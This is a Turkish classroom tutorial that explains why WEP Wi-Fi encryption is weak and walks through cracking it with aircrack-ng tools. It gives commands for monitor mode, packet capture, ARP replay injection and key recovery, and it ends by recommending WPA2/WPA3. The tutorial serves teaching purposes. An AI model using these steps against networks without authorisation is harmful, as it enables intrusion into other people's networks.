**🔎 1. WEP Nedir?**

**WEP (Wired Equivalent Privacy)**, kablosuz ağları korumak için geliştirilen eski bir güvenlik protokolüdür.

* **RC4 algoritması** ile veri şifreler.
* **IV (Initialization Vector)** adı verilen rastgele sayı üreticisi kullanır.
* Ancak IV’ler kısa (24 bit) ve tekrarlıdır. Bu da şifrelemenin kırılmasını kolaylaştırır.
* Günümüzde güvensiz kabul edilir ve yerini **WPA/WPA2** almıştır.

**🎯 2. WEP’e Neden Saldırı Yapılır?**

* WEP, zayıf yapısından dolayı **kısa sürede kırılabilir**.
* Gerçek saldırganlar tarafından kötüye kullanılabilir.
* Biz bu saldırıyı **eğitim amacıyla**, şifreleme teknolojilerinin evrimini anlamak için inceliyoruz.

**🧰 3. Kullanılan Araçlar (Kali Linux)**

* airmon-ng → Kablosuz kartı monitor moduna alır.
* airodump-ng → Ağları ve trafiği izler.
* aireplay-ng → Paket enjeksiyonu ile veri üretir.
* aircrack-ng → Toplanan verilerden WEP şifresini kırar.

🌸 **4. Kurulum (Genelde yüklüdür)**

sudo apt-get update

sudo apt-get install aircrack-ng

🛠️ **5. Adım Adım WEP Saldırısı**

🔹 **Adım 1: Monitor modunu aktif et**

airmon-ng start wlan0

🔹 **Adım 2: WEP ağı bul**

airodump-ng wlan0mon

BSSID ve kanal numarası not edilir.

🔹 **Adım 3: Hedef ağa odaklan**

airodump-ng --bssid [BSSID] -c [KANAL] -w wep\_kayit wlan0mon

🔹 **Adım 4: ARP paketleri üret (trafik artır)**

aireplay-ng --arpreplay -b [BSSID] -h [Kendi\_MAC] wlan0mon

🔹 **Adım 5: WEP şifresini kır**

aircrack-ng wep\_kayit-01.cap

Yeterli IV toplandığında şifre kolaylıkla kırılır.

metin, ekran görüntüsü, yazı tipi içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

Örnek komut

**🧪 6. Uygulama Senaryosu (Sınıf Ortamı)**

1. **Test amacıyla WEP şifreli bir ağ kurulur.**
2. Öğrenciler yukarıdaki adımları uygular.
3. WEP şifresi çözülür.
4. WEP’in neden artık kullanılmadığı teknik olarak gösterilir.

**🎓 7. Sonuç**

* WEP artık güvensizdir ve kullanılmamalıdır.
* Zayıf şifreleme yöntemleri hızla kırılabilir.
* Öğrenciler uygulama ile WEP’in zaaflarını deneyimler.
* Modern güvenlik protokollerinin (WPA2, WPA3) önemini kavrar.